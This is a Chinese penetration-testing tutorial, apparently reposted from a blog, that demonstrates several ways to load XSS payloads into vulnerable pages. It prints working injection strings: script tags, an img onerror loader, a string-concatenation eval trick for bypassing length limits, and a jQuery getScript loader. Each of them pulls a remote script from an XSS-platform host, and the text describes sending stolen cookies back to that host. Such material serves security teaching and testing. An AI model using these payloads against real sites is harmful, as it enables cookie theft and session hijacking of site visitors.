88.网络安全渗透测试—[常规漏洞挖掘与利用篇4]—[xss漏洞测试-加载payload的方法]

本文阅读 2 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、xss漏洞测试-加载payload的方法

1、背景

(1)当我们在测试xss漏洞的时候,一般都是用h1、script等简单的html标签 进行测试样式是否改变或是否弹窗,来检验是否存在xss漏洞。

(2)当在利用这个xss漏洞获取信息的时候就要加载payload,加载payload的方法多种多样,以下是常用的加载技巧。

2、xss平台通用payload加载

(1)有一些 xss平台已经有一些通用的方法。直接拿到用就可以了。 img img

(2)标准script加载到留言板

payload-1:
<script src=http://www.xssplatform.com/7Kar></script>

payload-2:
<script src=//www.xssplatform.com/7Kar></script>

img

(3)反弹cookie信息到xssplatform平台 img

3、img 创建script标签加载

(1)payload:不适用于存储型

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//www.xssplatform.com/7Kar'>

(2)反射性加载payload:http://www.webtester.com/xss/xss01.php?name= img (3)反弹cookie信息到xssplatform平台 img

4、字符并接加载

(1)这种一般是输入的字符有限制的时候使用

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'xssplatform'</script>
<script>z=z+'.com/7'</script>
<script>z=z+'Kar></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

(2)加载payload到留言板 img

(3)上面的留言板没有生效,我们可以直接把该payload放到本地服务器下的demo2.html内进行测试

img img

5、jquery加载

(1)加载公有js库,然后利用jquery语法创建一个script标签

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
<script>$.getScript("//www.xssplatform.com/7Kar");</script>

(2)加载payload到留言板 img (3)反弹cookie信息到xssplatform平台 img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122692061
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复